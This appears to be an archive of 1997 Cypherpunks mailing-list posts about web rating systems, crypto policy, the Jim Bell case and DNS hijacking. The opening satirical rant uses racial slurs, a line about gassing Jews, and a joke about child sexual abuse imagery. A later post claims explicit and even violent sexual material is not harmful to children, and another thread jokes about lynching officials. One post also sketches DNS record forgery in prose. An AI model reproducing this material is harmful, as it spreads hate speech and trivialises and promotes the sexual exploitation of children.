"Suitable for children who pull the legs off of grasshoppers and set
 the family cat on fire."
"Suitable for children who are being tried as adults because their
 case got enough press to result in votes for a judge who shows that
 he is 'tough on crime.'"
"Suitable for children whose parents or guardians are beating them
 more severely than in the fantasy scenes portrayed on this web site."
"Suitable for children whose parents, teachers and priests tell them
 they are sinful, evil creatures whom God will burn in Hell-Fire for
 questioning and/or resisting Authority."
"Suitable for children who will never amount to anything, anyway,
 because they have the wrong skin color, are being raised in poverty,
 and will probably be shot to death by policemen who will be fined
 two day's pay for not following proper police procedure."
"Suitable for children who plan to kill themselves because nobody loves
 them enough to make life seem worth living."
"Suitable for children who are selling crack to children even younger
 than themself."
"Suitable for children who carry a gun to school so that they have a
 chance of getting home alive."
"Suitable for children who, in the future, will be the victim of sexual
 harassment by the President."
"Suitable for children who will eventually suffer major health problems
 as a result of serving their country, and will be denied health
benefits."

"Suitable for children who need to experience as much as they can, right
here and now, because in the future they will have no rights or freedom,
but will have their lives tightly monitored and controlled by the
state."

 > Self-rating and/or browsers that can read these self-ratings will be
of
> little good except as a stepping stone to maditory rating system because
> they are unable to solve the percieved problem of children accessing
> website that their parents do not want them to see.

  The government is grandstanding their ploy to promote an increasing
level of censorship (and eventually "criminalize" non-compliance with
what they now portray as "voluntary" ratings) *DESPITE* the fact that
there are already tools available to meet the needs the government
claims to be addressing.
  If city kids drive their cars out into the country to watch the
farmer's wife undressing through the bedroom window, will the government
pass laws criminalizing country residents building houses which
have windows? God forbid that the Founding Fathers might have their
words twisted by villainous Cypherpunks to suggest that they would
expect parents to take responsibility for their children's upbringing
and activities.
  I'm getting sick and fucking tired of the government restricting
and/or violating my rights, liberty, freedom and pursuit of happiness
in order to enable the sheeple to have the illusion of righteousness
and security despite their laziness/unwillingness/stupidity which
is used as a rationale to pretend that products and tools which are
easily within their reach are not sufficient to meet their needs.

  What, exactly, is the problem?
  Are these censorous motherfuckers of the opinion that protecting
their children from these loudly proclaimed moral threats is not
worth spending thirty or forty bucks on?
  Are they saying that your and my rights and freedoms are worth
less than the thirty or forty bucks it would take for them to
purchase censoring software?
  
> Even if you could convince "Enough-is-Enough" and the rest of Donna "2 bit
> hore" Rice's cronnies that voluntary ratings was worth a try they would be
> shortly back to DC pushing for manditory legislation because they wouldn't
> like the way people were self rating their web pages.

  Bottom Line: If you or I personally developed, and distributed freely,
a product which would guarantee that no child would ever be exposed to
any material that their parents did not approve of, these stinking,
lying,
conniving bastards would still be pressing for censorous legislation 
because they feel that it is their right to force their narrow, fascist,
moralistic standards on everybody.

  A Challenge To Declan: Do you have the balls to contact all of those
individuals pushing for fascist censorship in the name of "protecting
children" and ask them if they would support the rights of adults to
promote and access adult material on the InterNet if a way can be found
to guarantee that minors will not be able to access it?
  Do you have the balls to refuse letting them dodge the issue with
meaningless, bullshit, political rhetoric? Do you have the balls to
tell them that if you don't get a straight answer,  you will report 
that they are lying, fascist, censorist motherfuckers who are hiding
behind children to disguise their hidden agenda of forcing their 
personal beliefs on others?

> You have two major groups pushing for rating systems:
> 1) Lazy parents that do not wish to be bothered with the obligations of
> raising their children.
> 2) "Born again" censors like Rice want the power to control what people
> can and can not say.
> 
> The problem is that no rating system can satisfy these groups. Just as
> voluntary rating will be used as a stepping stone to manditory rating,
> manditory rating will be used by these same two groups for the outright
> baning of certian forms of speech (their true agenda).

  Oops! I seem to be redundating the "other" Billy G's points and
comments.
Could it possibly be that the true/hidden agenda and fascist, slimeball
tactics of the CR's (Censorous Ratfuckers) are so blatantly obvious that 
anyone on the list could have easily written this post, as well as the 
"other" Billy G's post?
  Could it possibly be that this is an "open secret" that the sheeple 
are pretending they do not know because they have been brainwashed into
accepting the guilt/blame placed on them by the self-proclaimed
"righteous" who feel that they are superior to those with different
values and beliefs, and thus are entitled to force others, at gunpoint,
to live according to their own narrow constraints of acceptable beliefs
and behavior?
  Could it possibly be that I am not, in fact, the brilliant genius that
I conceive myself to be, in seeing through the fascist righteousness
which the Censorous Ratfuckers use as a tool to justify forcing their
values and beliefs on others? Is it possible that even the sheeple 
understand the injustice that is being forced upon them at gunpoint,
but have the wit and wisdom to complacently comply, in order to survive
long enough to live lives of quiet desperation?
  Could it possibly be that Jesus and Jim Bell are not isolated examples
of society and government breaking down, but are actually examples of
the way the "real world" works?

  Perhaps I need to spend $200,000.00 getting elected to a $20,000.00
a year position on the Water Board in Austin, Texas, and become a
millionaire within a year's time.
  Perhaps I need to become a TV preacher and make millions by putting
pictures of starving children on TV, in order to be able to pay for
the hookers and cheap motel rooms that go with the territory.
  Perhaps I need to run for Congress so that I can pay myself around 
$300,000.00 for *not* growing cotton, guarantee that my neighbor's
tax money will pay me an inflated price for my milk and cheese, and
put shoes on my kids by making my home state a dumping ground for 
nuclear waste.
  Perhaps I should run for President, become the leader of our country,
and lie about...well...about *everything*, I guess. 

  Could it possibly be that I am helping to destroy America by failing
to support forced compliance with "Family Values?"
  Should my bid for the Presidency be centered around a theme of a 
"return" to God-fearing decency and Christian values?
"We need to fight drug dealers and child pornographers by returning to
the values that made this nation great!"
"We need to require the terminally ill to die a horribly painful death
without benefit of a medicinal herb that would relieve their suffering,
in order to fight drug dealers and child pornography."
"We need to send our armed citizens to other countries to kill their
citizens, in order to fight drug dealers and child pornography."
"We need for women who wear short skirts to take responsibility for 
their being raped in order to fight drug dealers and child pornography."
"We need to make niggers sit in the back of the bus, in order to fight
drug dealers and child pornography."
"We need to send Jews to the gas chamber, in order to fight drug dealers
and child pornography..."
{Oops! Wrong country.}

Question: "What rating will be acceptable for a web site that contains 
           only pictures of 'people of color' sitting at the back of
           a bus, and 'color challenged' people sitting in the front?"
Question: "Who is going to explain to the child of the naturists who
           place on their web site their pictures of themself enjoying
           a glorious day at the nude beach, that their bodies are vile,
           filthy, disgusting things which require their web site to
           contain an 'obscenity' rating?"
Question: "Who is going to explain to women that they have to quit their
           jobs, become unpaid housewife/laborers, quit voting, and do
           all of the housework, in order to fight drug dealers and
child
           pornographers?"
Question: "What rating will be required of a web site which contains a
           picture of a loving parent bathing their beautiful (NAKED!!!)
           newborn child?"
           {To get a "Suitable For Children" rating, will the parents
have
            to fill out a form that certifies that they did not get
sexually
            aroused while bathing their newborn? If a cop or judge
visits
            the site and gets aroused, are the parents guilty of a
crime?}

  Bottom Line #2: Squeaky Fromme will be imprisoned for putting naked 
                  pictures of herself, as a child, on her web site.
                  John Hinkley will be hospitalized for the same
offense.
                  Kennedy family members 'A', 'B' and 'C' will not be
                  prosecuted for the same offense, but Squeaky Fromme
will
                  have to serve an extra 2 years in prison for revealing
                  that the nude Kennedy pictures made her horny.

Special Offer: "Purchase and use Pretty Good Pornography software, and
                you will receive the phone number of a person who will
                buy your drugs, as well as a picture of my dick in a 
                child's mouth."
                (Offer not valid in states where children are being
buggered
                 by the Police Chief, the Mayor, the President, Hillary,
                 Socks, and a buggerer to be named later.) 

News Flash!!!: Early this morning Vatican military forces invaded the
               United States and arrested President Clinton for his
               involvement in the birth-control drug trade.
               Saddam Hussein ordered an air strike against the D.C.
               Whitehouse in retaliation for U.S. support of terrorist
               fashion designers who produce clothing which exposes
               women's ankles. The President escaped unharmed, but his
               daughter was justifiably slaughtered.
               U.S. Attorney-General Larry Flynt appointed a special
               prosecutor to investigate reports that Janet Reno sent
               out Christmas Cards containing a picture of herself in
               which she was fully clothed, with neither her breasts
               or her vagina showing. "Studies have shown," Flynt told
               reporters, "that pictures of clothed women frustrate
               unimaginative males, leading to an increase in rape as
               a result of cockteasers like Janet Reno."
               The "Drug Dealers and Child Pornographers" regulatory
               commitee, a special agency appointed by the President to
               fight against the threat that Family Values pose to
               the sex industry, approved the use of video surveillance
               in private homes in a crackdown on parents who refuse
               to get their children high and bugger them with a variety
               of foreign objects.
               "The Tin Bible," an award winning movie by producer Tim
May,
               was removed from libraries and store shelves in Oklahoma
               today. The offending scene involved a male "pulling out"
               while fucking a blood relative, and "wasting a perfectly
               good piece of pussy," according to the National Council
               For The Promotion Of Indecency.

  "If you're not part of the precipitate, you're part of the solution."
            - James D. Bell

TruthMonger






From paul at fatmans.demon.co.uk  Sat Jul 26 08:31:03 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sat, 26 Jul 1997 23:31:03 +0800
Subject: EPIC letter to CNET.COM and the Internet Community (fwd)
In-Reply-To: 
Message-ID: 




>   A number of groups, including the
>   American Civil Liberties Union and the Electronic
>   Privacy Information Center, support the use of such
>   software on principle. 

Then they have no principles worth speaking of.


>   But they also point out that
>   filtering software can be used to block any kind of
>   content, not just sexually explicit material, and so
>   it can end up restricting free speech.

So sexually explicit material is no longer classified as speech?

> could be used as easily by governments against citizens and employers
> against employees as they could by parents against children, as was
> made clear by one of the PICS creators in an early paper on the
> topic.

This is not a valid point, parents restricting what their children learn 
about is the best way to fuck a child up.

> We further recognize that there is indeed some material on the Internet
> that is genuinely abhorrent.  But we do not believe you can hide
> the world from your children. We should help our children to
> understand the world, and then help them make it better. Good
> parenting is not something found in a software filter; it takes
> time, effort, and interest. And it takes trust in young people to
> develop within themselves judgment and reason, and the ability to
> tell right from wrong.

Quite so, this is why I never have seen the viewpoint which says that 
parents should not allow children to view sexually explicit material, 
which I can under no circumstances see as being harmful (with the 
possible exception of violent pornography). However, no material is 
harmful in and of itself, it is the attitude the child has towards such 
material that defines it`s worth, if a child sees a picture of a violent 
rape and finds it unpleasant and distasteful that says a lot for the way 
the child has been educated, if the child is interested by it and finds 
the material in good taste then I`m sure I can leave it to you to draw 
your own conslusions as to the success level of the parent in educating 
the child.

Of course any violent material can be harmful, but only if the child is 
brought up to find it acceptable to carry out real violent acts.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From alan at ctrl-alt-del.com  Sat Jul 26 08:46:12 1997
From: alan at ctrl-alt-del.com (Alan)
Date: Sat, 26 Jul 1997 23:46:12 +0800
Subject: "The Failure to Do Your Job" amendment (was Re: White House ...)
In-Reply-To: <199707162038.PAA26641@mailhub.amaranth.com>
Message-ID: <3.0.2.32.19970726082517.00a1f100@ctrl-alt-del.com>



At 06:59 PM 7/24/97 -0500, snow wrote:
>
>On Wed, 16 Jul 1997, William H. Geiger III wrote:
>> Any elected official or govenment employee found to have willfuly violated
>> the Constitution of the United States of America should be draged to the
>> capitol steps and promptly lynched.
>
>	Then you'd have to lynch those that did the dragging and lynching 
>as each induhvidual has the constitutional right to a trial.

"First the lynching, then the trial."


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From jya at pipeline.com  Sat Jul 26 09:21:17 1997
From: jya at pipeline.com (John Young)
Date: Sun, 27 Jul 1997 00:21:17 +0800
Subject: HIR_hear  Crypto Hearing Transcript
Message-ID: <1.5.4.32.19970726160006.006fc980@pop.pipeline.com>



Thanks to Declan we've digitized the declassified 64-page 
transcript of the House International Relations Committee closed
hearing on the SAFE bill, dated July 21, 1997, at which
FBI's Freeh, NSA's Crowell and BXA's Reinsch made statements 
on crypto policy, described the administration's dreams for 
worldwide GAK and noddled about how to shame unpatriotic 
industries -- Microsoft is cited as a prime disobedient, while 
Netscape, Reinsch smarms, has joined up. 

This is Rep. Gilman's committee, and the discussion aptly 
outlines the grounds for his "first amendment" to SAFE recently
posted here.
Our Web site is kaput this morning so for now we can only 
offer the 99K file by e-mail, HTML formatted.

If you want a copy send us e-mail with the subject: HIR_hear

We'll include a parallel 18 July letter to Members of Congress
on the same topic from AG Reno and seven top federal law 
enforcers, also provided by Well-connected Declan.

If your mail can't handle a 99K file, someday, maybe this weekend,
the two docs will be on our site at, respectively:

   http://jya.com/hir-hear.htm

   http://jya.com/crypto-law8.htm

Coda: Gilman represents, if you didn't know, my rathole
of the U.S. financial market. The transcript shows that he loved 
the G-men, wink-winked at them throughout the hearing, eyeing 
the propects for helpful legislation.

Reinsch brags that BXA and the banks are preparing an onslaught 
on the undisciplined world market, working with world leaders, as 
ever, caching real-time gold for select wise marketers, bribing with 
gov-biz deals across the political spectrum. Sez all the industry holdouts 
on GAK will come around when they see the Big Corps caving. 
Reinsch asserted that Microsoft is power behind Goodlatte's bill. 
Goodlatte didn't deny, just said MS is one of a horde. Hmm. 






From mf at mediafilter.org  Sun Jul 27 01:42:46 1997
From: mf at mediafilter.org (MediaFilter)
Date: Sun, 27 Jul 1997 01:42:46 -0700 (PDT)
Subject: Netzwelt: Geiselnahme im Netz (article in DER SPIEGEL)
Message-ID: <1342145713-807839@MediaFilter.org>


[...]
>          Mit so negativen Reaktionen hatte Kashpureff nicht
>          gerechnet. Noch vor einer Woche behauptete er
>          gegen�ber Wired News selbstbewu�t: "Wenn Network
>          Solutions mir an den Kragen geht, dann werde ich ein
>          gr��erer M�rtyrer als Phil Zimmermann" -- jener
>          inzwischen weltweit bekannte B�rgerrechtler, den die
>          US-Regierung erfolglos wegen der Verbreitung seiner
>          Verschl�sselungssoftware PGP verfolgt hatte.
>          Angesichts des Imageproblems, das Network Solutions im
>          Netz hat, war die Zuversicht des Dom�nenguerilleros
>          gar nicht so abwegig. Doch trotz dieser alten
>          Animosit�ten stiftete Kashpureffs Aktionismus
>          ausnahmsweise einmal Konsens in der Welt der
>          Internetverwalter: So geht es nicht.

http://www.spiegel.de/netzwelt/themen/kashpureff.html
[...]

...Kashpureff didn't expect such a negative reaction.
"When Network Solutions cuts my throat, then I will become
a gurella martyr like Phil Zimmerman (of PGP fame)"
he proclaimed to Wired news....
[...]

Give me a break!  this is like some bad tv movie.
Kashpureff, the self-styled martyr in hiding from the feds
as they move in to seize his computers after he hijacked
traffic from Nework Solutions' website to his own
(in a desperate attempt to log some hits?). If this is supposed
to be some profound statement, I think the message is lost
in the idiocy of it all.

As I stated in a previous posting, I denounce this type of traffic hijacking
as irresponsible practice and as a negative reflection on other independents
who are working to open up the address space on the net in the interests
of the public.

If Kashpureff would like to participate in the evolution of the net,
he should not jeopardize its stability of for the sake of personal vanity.

This type of drama and diversion are totally unnecessary, and obscures
the focus on the real issues at hand in the whole namespace debate.
One major factor of the issue is being settled in the name.space/pgMedia
anti trust action against NSI...Kashpureff and others could potentially benefit
from the outcome of that action if they conduct themselves in a mature and
responsible manner.  The next step in the implementation of the expanded
namespace demands responsible practice if we are to avoid government
regulation and corporate beauracracy and let the system evolve and regulate
itself naturally.

Judging by this recent bahavior though, it appears that some can't deal
with it all now, that it's beginning to get too real.
The games and posturing are over.  It's time to finally put up or shut up.

...In my opinion, that is...


Paul Garrin
name.space
http://name.space
http://namespace.xs2.net







From love at cptech.org  Sat Jul 26 11:19:41 1997
From: love at cptech.org (James Love)
Date: Sun, 27 Jul 1997 02:19:41 +0800
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <199707260708.CAA30671@mailhub.amaranth.com>
Message-ID: <33DA3C51.89290B12@cptech.org>



William H. Geiger III wrote:
> What is your proposal for those who would "mislable" their sites? 

    People who "mislabel"?   I am only proposing a tag for rating=adult.
I guess someone could put a rating=adult tag on a page that didn't need
it, but who would care?  Not me.  

   Suppose on the other hand that someone had a page that people thought
should have a rating=adult tag.  Well, the person who didn't use the tag
would just have to deal with whatever crap you would get for not
labeling.  If you thought your site had some constitutional right not to
label the content adult, then just don't label it.  I really don't think
this will be that big an issue, but I don't know (no one knows).  I
think that a significant percent of porn sites would use the
rating=adult label in a second if they thought it would get people off
their back.  Those that didn't use the label could just put up with the
consequences, whatever they are.  I would expect (and hope) that the
rating=adult label would be used infrequently, mostly for sites
involving explicit sexual images.  I don't think a rating=adult label
would be much of a barrier to teenagers who wanted access to this type
of material, since one could download a browsers in a few minutes that
wouldn't block the data.  But like a childproof top on aspirin, it would
work pretty well with pre-teens, I imagine.


>I am
> sure that you are not under the assumption that everyone will have the
> same ideals of what is appropriate for children and what is not.
> 
> How do you handle the web site for alt.sex.sheep.bah.bah.bah if the owner
> decides to self rate it Y-7?

    Well, I for one don't like a Y=7 type system.  It involves too much
information from the person rating the wage page.  The more precision
you put in a rating system, the more trouble you get in.  Keep it
simple, very simple.  What if someone was a sex with sheep web site,
unlabeled?  I don't care much.  I wouldn't be surprised, however, if
Yahoo didn't give them the prominent listing they wanted, in the absence
of the rating=adult label.  


> 
> Self-rating and/or browsers that can read these self-ratings will be of
> little good except as a stepping stone to maditory rating system because
> they are unable to solve the precieved problem of children accessing
> website that their parents do not want them to see.
> 
> Even if you could convince "Enough-is-Enough" and the rest of Donna "2 bit
> hore" Rice's cronnies that voluntary ratings was worth a try they would be
> shortly back to DC pushing for manditory legislation because they wouldn't
> like the way people were self rating their web pages.



    Maybe.  Maybe not.  Maybe it would "solve" the problem, without
legislation.   I think it would be nice if the problem was solved
without legislation. But if the problem (and I think there is a problem)
isn't solved voluntarily, don't be shocked when Congress acts.  


 
> You have two major groups pushing for rating systems:
> 
> 1) Lazy parents that do not wish to be bothered with the obligations of
> raising their children.


      Are you calling me a lazy parent?  What is the obligation of a
parent?  To supervise a kids web browsing?  Please, I think kids are
better off with more privacy, and less parental (and teacher)
supervision when they browse the web.  

> 
> 2) "Born again" censors like Rice want the power to control what people
> can and can not say.

     
     This simply isn't true.  A lot of support for content labeling,
including systems which I find appalling, is from fairly typical
parents.  This isn't a right wing or born again issue.  


> The problem is that no rating system can satisfy these groups. Just as
> voluntary rating will be used as a stepping stone to manditory rating,
> manditory rating will be used by these same two groups for the outright
> baning of certian forms of speech (their true agenda).


    Nothing will satisfy everyone.  But reasonable people will support
reasonable solutions, and it might be the case that there are enough
reasonble people around to come up with a resonable system.

               Jamie



> 
> - --
> - ---------------------------------------------------------------
> William H. Geiger III  http://www.amaranth.com/~whgiii
> Geiger Consulting    Cooking With Warp 4.0
> 
> Author of E-Secure - PGP Front End for MR/2 Ice
> PGP & MR/2 the only way for secure e-mail.
> OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html
> - ---------------------------------------------------------------
> 

-- 
_________________________________________
James Love
Center for Study of Responsive Law 
P.O. Box 19367 | Washington, DC 20036 
202.387.8030  | fax 202.234.5176
http://www.cptech.org  |  love at cptech.org






From tcmay at got.net  Sat Jul 26 11:42:59 1997
From: tcmay at got.net (Tim May)
Date: Sun, 27 Jul 1997 02:42:59 +0800
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <199707260708.CAA30671@mailhub.amaranth.com>
Message-ID: 



At 11:05 AM -0700 7/26/97, James Love wrote:
>William H. Geiger III wrote:
>> What is your proposal for those who would "mislable" their sites?
>
>    People who "mislabel"?   I am only proposing a tag for rating=adult.
>I guess someone could put a rating=adult tag on a page that didn't need
>it, but who would care?  Not me.
>
>   Suppose on the other hand that someone had a page that people thought
>should have a rating=adult tag.  Well, the person who didn't use the tag
>would just have to deal with whatever crap you would get for not
                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
You mean like imprisonment and fines?

It is this "crap" and "consequences" we are talking about.

There is no requirement that one's writings be labelled as "adult."
Leastwise, I've read a lot of stuff in my life, and very rarely (if ever)
have I seen much of it labelled as "adult" material.


>labeling.  If you thought your site had some constitutional right not to
>label the content adult, then just don't label it.  I really don't think
>this will be that big an issue, but I don't know (no one knows).  I
>think that a significant percent of porn sites would use the
>rating=adult label in a second if they thought it would get people off
>their back.  Those that didn't use the label could just put up with the
>consequences, whatever they are.  I would expect (and hope) that the
 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Such as the multiple years in prison that each of the Thomases got?

>rating=adult label would be used infrequently, mostly for sites
>involving explicit sexual images.  I don't think a rating=adult label
>would be much of a barrier to teenagers who wanted access to this type
>of material, since one could download a browsers in a few minutes that
>wouldn't block the data.  But like a childproof top on aspirin, it would
>work pretty well with pre-teens, I imagine.

The utter ineffectuality of an "adult" label stopping the behavior which
the politicians want stopped is exactly why such a lukewarm proposal as
yours--no offense intended--is a poor idea. The next step will be a
mandatory rating, with penalties for "mislabelling."

(Again, just what is "mislabelling"? If I feel all children should be
exposed to sexual materials, or "Huckleberry Finn," whose standards am I
supposed to use if not my own?)



>      Are you calling me a lazy parent?  What is the obligation of a
>parent?  To supervise a kids web browsing?  Please, I think kids are
>better off with more privacy, and less parental (and teacher)
>supervision when they browse the web.

Fine. But it is constitutional to require others to label their writings or
utterances in any way.

This means that parents cannot count on any labelling system to protect
their children from finding sexual material, atheistic material, drug
advocacy material, bestiality advocacy material, and recruitments for
homosexuality.

(For the sake of this argument I'm avoiding inclusion of actual images of
things like bestiality and the like, as these may or may not run afoul of
the "obscenity" laws. Not that I support obscenity laws. But all of the
other things are mostly protected under the First Amendment, and labelling
is not required.)

As long as ratings are completely and full uncoerced, fine. It's the "crap"
and "consequences" you speak of that worry me. If one of the pieces of crap
is  a $100K civil fine for mislabelling, or one of the consequences is 5
years in jail, then it ain't a voluntary system, is it?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From jya at pipeline.com  Sat Jul 26 12:07:19 1997
From: jya at pipeline.com (John Young)
Date: Sun, 27 Jul 1997 03:07:19 +0800
Subject: URL for Crypto Hearing Transcript
Message-ID: <1.5.4.32.19970726184555.0070b78c@pop.pipeline.com>



We've put the dox at:

   http://site108240.primehost.com/hir-hear.htm  (97K hearing transcript)

   http://site108240.primehost.com/crypto-law8.htm  (11K Reno letter)






From apache at gargoyle.apana.org.au  Sat Jul 26 12:35:24 1997
From: apache at gargoyle.apana.org.au (Charles)
Date: Sun, 27 Jul 1997 03:35:24 +0800
Subject: Australian net legislator proves Clueless newbie
Message-ID: <199707261928.FAA11240@gargoyle.apana.org.au>



>From a poster in aus.censorship reports:

"I heard Senator Alston on ABC Radio National tonight (23 July). He
made a comment that the "Internet has been going for 3 or 4 years".
Its extraordinary that with limited knowledge such as this he is
forging forward with regulatory changes which will dramatically change
the face of the 'Net in Australia and completely ignore the the
existing cultural milieu that has been created over many years (a lot
more than "3 or 4" Alston might be surprised to know)..."

Senator Alston, self appointed net expert has no email address, as is 
common for the vast majority of Australian politicians who in general 
understand little more than the net present value of their unfunded 
superannuation payouts.

Any Aussies want to have their say (uncensored) on the web export 
your dollars out of this backwater and buy some space on 
extra-territorial web server.
-- 
   .////.   .//    Charles Senescall             apache at quux.apana.org.au
 o:::::::::///     apache at bear.apana.org.au  apache at gargoyle.apana.org.au
>::::::::::\\\     Finger me for PGP PUBKEY            Brisbane AUSTRALIA
   '\\\\\'   \\    Apache






From stewarts at ix.netcom.com  Sat Jul 26 14:48:31 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sun, 27 Jul 1997 05:48:31 +0800
Subject: Jim Bell Docket 3
In-Reply-To: 
Message-ID: <3.0.2.32.19970725225321.03054658@popd.ix.netcom.com>



>>A. It's unsolicited spam.
Not a big deal.
>>B. The way they gathered the list of addresses is questionable, 
>>    and likely off Jim's HD.  

Feh.  Either it was real, or it was forged.  In either case, 
the sender could have gotten names and addresses for the usual suspects
by watching the cypherpunks list; no need to crack Jim's machine.

It _was_ nicely forged, if it was forged.  One amusing method
that could have been used for the forgery is the method used
by Kashpureff for the alternic.net / internic.net rediriection -
when a site sends a DNS request to your name server (e.g. because
you've sent some email through it to you), send back some additional
records with the sites you're impersonating - especially if the
subdomain at irs.gov didn't really exist.  You can reinforce it by
adding the IP addresses you choose to your in-addr.arpa reverse DNS.

>I question, however, if is proper/appropriate for a governmental entity to
>retrieve email addresses off of a computer involved in a criminal matter
>and use those addresses to send the type of message that was sent to a
>selected few?  Unfortunately, I have no answer to this query.

Clearly not - there are major ECPA and invasion of privacy issues.
But there's no evidence that they did that.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From bennett_t1 at popmail.firn.edu  Sat Jul 26 14:57:26 1997
From: bennett_t1 at popmail.firn.edu (bennett_t1 at popmail.firn.edu)
Date: Sun, 27 Jul 1997 05:57:26 +0800
Subject: Interesting Question..
In-Reply-To: <33D3B726.C5C7DE0E@CyberSpaceTechnologies.com>
Message-ID: <3.0.2.32.19970726173823.007fc100@popmail.firn.edu>



At 03:23 PM 7/21/97 -0400, you wrote:
>Here is an interesting question. The U.S government has classified
>encryption software as a munitions under the U.S ITAR regulations, which
>
>will limit the export of same. They rarely if ever approve an export
>unless they have thoroughly inspected it and have been given certain
>shall we say assurances.
>Next they develop a number of different chips
>that rely on a classified algorythm, which incidently they developed.
>They say that they want the entire population of the U.S to use these
>chips, going so far as to use their market power to put additional
>pressure on enterprises to manufacture and use these chips. Next the >FBI

The popualtion might, since too many people seem to think we are the
government's workers, not vice-versa.

>howls thatt they need a law to ban domestic non-escrowed encryption.

The FBI basically complains that the Constitution ties their hands to
enforce draconian laws.

>Then we have the Congress trying to pass stricter laws regarding
>encryption while screaming that they have to protect the children from
>all this nasty stuff on the web. This they scream even though they can't

14 year olds will look at hooters, given the chance [shock]

>pass a balanced budget or manage to find enough money to educate those
>self same kids. Next we have us, the general public, who are worried
>that the government will abuse this proposed system. The government says
>they won't, which we are supposed to believe even though their track

[cough, bullshit, cough]

I wouldn't trust the government with anything.  Which suprises me that
stupid parents leave their kids in buildings that are known targets of
anti-government military groups.  Oh well.

Most americans probably don't know what Encryption is.  Most americans
think that because some half-assed monkey Senator says that some guy could
use to send around kiddie-porn without the FBI catching him, they think
that encryption is evil.

>record shows that we can't trust them past the first money trough that
>comes their way. That leaves one final question. How long until they
>stop asking and pleading and start demanding we use this system of
>theirs. How long until we become criminals by enacting our right not to
>use it?

Reminds me of the gun laws.

>Interesting, don't you think?

Interesting how many americans are getting screwed without ever knowing it.

They sit on their asses, watching their stupid TV shows, believing the
regurgitated shit the media tosses them when one man blows up a building.

Sometimes I want to kick the whole goddamn country in the face.






From mail at family.com  Sun Jul 27 06:50:02 1997
From: mail at family.com (Family.COM)
Date: Sun, 27 Jul 1997 06:50:02 -0700 (PDT)
Subject: News from Disney Online - July 1997
Message-ID: <33D81496.35FEBFB0@family.com>


Disney Online welcomes your questions and comments. If you have a
question or comment, please point your browser to http://www.family.com,
and click on "Write Us" in the right hand index of our home page. We
suggest you copy into your message the part of the newsletter that
relates to your question!

Dear Disney.com Guest,

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===================================================

We've sent you this note because of your previous interest in
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From ravage at ssz.com  Sat Jul 26 16:21:00 1997
From: ravage at ssz.com (Jim Choate)
Date: Sun, 27 Jul 1997 07:21:00 +0800
Subject: Satellite Tool Kit available FREE! (fwd)
Message-ID: <199707262307.SAA07758@einstein.ssz.com>



Forwarded message:
>From owner-traveller at Phaser.ShowCase.MPGN.COM Sat Jul 26 12:43:45 1997
Message-Id: <3.0.2.32.19970726103449.032c3494 at mail.pcisys.net>
X-Sender: goldendj at mail.pcisys.net
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.2 (32)
Date: Sat, 26 Jul 1997 10:34:49 -0600
To: traveller at MPGN.COM, tne-rces at tower.clark.net, gdw-beta at qrc.com
From: "David J. Golden" 
Subject: Satellite Tool Kit available FREE!
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-traveller at Phaser.ShowCase.MPGN.COM
Reply-To: traveller at MPGN.COM

For those who haven't heard, Analytical Graphics, Inc. is releasing version
4.0 of their Satellite Tool Kit (STK) program, absolutely free. Their web
site says they've decided it's the best way to introduce engineers to its
power; the way I heard it, they lost a lawsuit claiming it was developed
with government money and hence _can't_ legally sell it. At any rate, the
add-on modules still cost large quantities of filthy lucre, but the basic
program is quite impressive for anybody wanting to model satellite orbits,
sensor and communicator field-of-view, etc., etc. Check it out at www.stk.com.
-- Dave Golden                  http://www.pcisys.net/~goldendj --
   goldendj at pcisys.net                       finger for PGP key
    *** USE OF THE ABOVE EMAIL FOR SOLICITATION PROHIBITED ***

 "He that would make his own liberty secure must guard even his
  enemy from oppression; for if he violates this duty, he establishes
  a precedent that will reach to himself" -- Thomas Paine






From stewarts at ix.netcom.com  Sat Jul 26 19:09:00 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sun, 27 Jul 1997 10:09:00 +0800
Subject: Government Access to Safes
In-Reply-To: 
Message-ID: <3.0.2.32.19970726175212.03063ec0@popd.ix.netcom.com>



At 02:05 PM 7/25/97 -0700, Martin Minow wrote:
>This safe uses a keypad lock (rather than a mechanical combination 
>or physical key).
>Is this more secure than a regular safe lock? Does the government
>have an access key that would premit a law enforcement officer
>(with appropriate authority) to open any such lock? Should I
>be required to deposit the secret key to my safe with a
>government-mandated "escrow" agent?

Most safes belong to businesses that are required to
produce business records in response to warrants or maybe subpoenas;
the government doesn't need to crack the safe when it can
order the business owner to comply.  Of course, this informs the
business owner that the safe was opened, and the government
is trying to get Key Access in ways that don't inform the target.
This is an artifact of wiretapping history, and radically at
variance with the Fourth Amendment.  It would be much easier,
from a Constitutional perspective, for Congress to pass a law
that requires you to decrypt messages in response to a court order 
(or to turn over your keys, though that's not "narrowly tailored"),
though it makes the Fifth Amendment issues much plainer,
and doesn't make the Secret Police sufficiently happy.

